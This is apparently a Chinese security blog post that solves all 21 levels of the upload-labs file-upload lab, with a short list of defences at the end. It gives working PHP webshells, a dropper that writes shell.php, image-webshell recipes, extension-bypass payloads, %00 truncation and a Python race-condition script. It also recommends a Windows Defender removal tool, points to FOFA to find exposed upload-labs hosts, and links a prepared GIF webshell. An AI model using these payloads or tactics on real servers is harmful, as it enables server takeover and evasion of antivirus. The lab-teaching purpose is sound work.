不多废话,直接上理论呛死你(❍ᴥ❍ʋ)什么是文件上传漏洞?环境靶场:upload-labs服务器:centos7数据库:mysql5.7php:5.5nginx:1.24在开始之前先介绍一款windows defender卸载工具,提高渗透效率,不然文件上传成功就被杀了,文章在这儿,使用方法和下载链接很详细https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w漏洞简介文件上传漏洞通常发生在程序设计中,由于对用户上传文件的处理不当或存在缺陷,导致用户能够绕过权限限制,向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在,但服务器对上传文件的处理和解释方式不当,可能会引发严重后果。高危触发点在任何提供文件上传功能的应用中,都可能存在文件上传漏洞的风险,例如在相册、头像上传、视频和照片分享等场景中。此外,论坛发帖和电子邮件附件上传等功能,也是文件上传漏洞的高风险区域。同样,文件管理器等工具也可能成为攻击者利用的目标。注意:移动设备同样面临着文件上传漏洞的威胁。漏洞复现upload-labs(1-21关)第一关(前端验证)由于靶场配置必须要使用php5.2版本才能正常运行,建议去https://fofa.info/找到描述为upload-labs的ip地址进入即可在开始闯关之前我们需要用到一句话木马,php文件代码如下<?php @eval($_POST['shell']);?>第一关因为是进行前端JS校验,分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件。但是更改为return true之后还是在提示文件类型不正确这时候我们把js复制下来,打开浏览器控制台,并回车,直接重置checkFile()这个同名函数,使js执行俩次。上传成功。使用中国蚁剑测试,连接密码就是你php post请求的shell参数第二种方法就是禁用浏览器的javascript木马上传成功第二关(MIME验证)使用抓包工具,抓到了包,第一关是抓不到的,我们把上传的jpg文件修改为php即可上传成功第三关(黑名单验证,特殊后缀)将文件后缀修改为php1,php2即可不过需要注意,上传成功后文件名称改变了第四关(黑名单验证,.htaccess)通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名,我们可以上传一个htaccess文件,让文件所在位置的目录下文件被php解析。使用前提要在apache下的httpd.conf文件更改。启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。打开httpd.conf文件用文本编辑器打开后,查找更改为重启Apache,上传.htaccess文件,然后再上传phpinfo的jpg文件.htaccess文件内容如下setHandler application/x-httpd-php复现失败!(。◕ ∀ ◕。) ,哈哈哈哈,好像要特定的环境,自己去找找资料吧,小编我也找了好久没出来。不急,还有第二种发方法,windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容不愧是中国蚂蚁,over!第五关(黑名单验证,.user.ini.)和第四关一样php. .第六关(黑名单验证,大小写绕过)这一关同样是后端黑名单,.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单把.php 格式改为.Php上传上去之后,就会自动解析为.注意上传成功后的真实的文件地址。第七关(黑名单验证,空格绕过)仔细分析源代码,容易发现代码中并没有把空格去掉$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }使用burp suite劫持包在文件后缀添加一个空格,上payload,filename="myscript.php "上传成功第八关(黑名单验证,点号绕过)这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即scirpt.php.。第九关(黑名单验证,特殊字符::$DATA绕过)php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。第十关(黑名单)分析源码,源码中使用deldot()函数,即字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。提示:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来echo deldot("hello world")."n"; echo deldot("hello world.")."n"; echo deldot("hello world....")."n"; echo deldot("hello.world.")."n"; //输出结果为 hello world hello world hello world hello.world第十关源码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }第十一关(黑名单验证,双写绕过)str_ireplace 是 PHP 中的一个函数,它用于将字符串中的某些部分替换为其他字符串,并且对大小写不敏感。$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }通过源码我们可以发现,他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="info.pphphp"。上传成功第十二关(get00截断)这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。第十三关(post 00截断)使用00截断的几个前提条件:PHP版本 < 5.3.4magic_quotes_gpc关闭。如果启用了magic_quotes_gpc,PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符,这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。第十四关(图片马unpack)源码通过分析上传文件的前两个字节来识别其类型,并据此重命名文件。我们使用cmd命令opy 777.avif/b + zoe.php pass14.avif创建了一个隐藏PHP代码的图片文件。用文档打开2.jpg,发现合并成功。上传此图片木马后,并且通过文件包含漏洞触发并执行其中的PHP代码,而包含页面的链接已经给出。下面这段代码中通过获取URL中的file参数,进行文件包含。执行图片文件。出现如下错误问题显示在行8,我们去查看一下第八行是什么内容。<?这个符号,不就是php的脚本符号嘛,把它删掉,再次包含执行jpg文件文件包含执行成功,此时即可使用中国蚂蚁连接第十五关(getimagesize图片马)分析源码function isImage($filename){ $types = '.jpeg|.avif|.gif'; if(file_exists($filename)){ //获取图片的尺寸信息 $info = getimagesize($filename); //检查前俩个字节是否输入图片 $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }我们发现仅仅只做了图片的判断,并没有对我们图片马,进行限制。所以照样可以用14关的通关方法,进行getshell第十六关(exif_imagetype图片马)分析源码//进行文件类型判断 function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }也是一样进行文件类型判断,没有对图片马进行判断,照样可以使用第14关的绕过方法。第十七关(二次渲染绕过)在这一环节,上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。注意:对于做文件上传之二次渲染建议用GIF图片,这里小编为大家准备了一个GIF马,大家自行提取百度网盘提取码:1212 https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212上传指定马后使用中国蚂蚁连接。连接成功第十八关(条件竞争一)查看提示审计代码$is_upload = false; $msg = null; if(isset($_POST['submit'])){ //定义一个数组,用来保存允许上传图片的后缀 $ext_arr = array('jpg','png','gif'); //获取文件名称 $file_name = $_FILES['upload_file']['name']; //临时文件 $temp_file = $_FILES['upload_file']['tmp_name']; //使用substr截取文件后缀 $file_ext = substr($file_name,strrpos($file_name,".")+1); //上传的文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; //将临时的文件,移动到新位置。 if(move_uploaded_file($temp_file, $upload_file)){ //如果问及那的后缀在数组ext_arr中就上传图片 if(in_array($file_ext,$ext_arr)){ //定义图片上传路径名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //修改文件名称,为上传路径名 rename($upload_file, $img_path); //上传 $is_upload = true; }else{ $msg = "只允许上传.jpg|.avif|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }通过分析,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。将一句话代码更改为如下内容。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder清除所有的payload提示:进行下一步操作前,千万要注意,就是不要把BP的拦截功能关闭了,要一直保持拦截状态,才有更好的效果。接着设置无限发送空的Payloads,来让它一直上传该文件最后建议这里把线程设置高一点,提高练习渗透效率然后我们写一个Python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件)import requests def main(): url='http://192.168.209.131/upload/myscript.php' while True: res = requests.get(url) print('未找到php文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()开始攻击了在BP攻击的同时我们也要运行Python脚本,目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。测试连接,over!第十九关(条件竞争二)上传GIF测试发现路径少了一个/,应该是开发者少添加了一个斜杠,去服务器把源文件改下从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。建立一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>制作图片马上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)注意上传的是图片马就行。Python脚本import requests def main(): url='http://192.168.209.131/upload/pass19.avif' while True: res = requests.get(url) print('未找到png文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()过程参考第十八关。注意蚂蚁连接的文件是注入的一句话木马创建的文件。第二十关(黑名单)有俩种方法,使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。在php中move_uploaded_file有一个特性修改上传文件名称为upload-19.php/.上传成功蚂蚁宝宝测试,over!第二十一关这一关是利用数组绕过验证上传成功后观察上传成功的URL,多了个jpg那么我们使用第二个数组呢,岂不是就变为xxx.php.了查看上传成功的URL上传成功!总结文件上传漏洞通常源于Web应用未对上传文件进行严格校验,导致恶意用户可能上传执行脚本,从而控制应用。通过upload-labs等实战平台,可以学习多种防护和绕过技巧。防御措施包括:隐藏上传文件路径,避免暴露。禁止上传文件的执行权限。实施文件类型白名单和黑名单策略。重命名上传文件,降低被猜测的风险。对上传文件进行内容二次处理。检查文件内容,确保安全。根据系统特性,定制化安全防护策略。欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢阅读!原文链接https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg
2025年05月18日
1,955 阅读
0 评论
0 点赞
1
...
7
8
9
...
14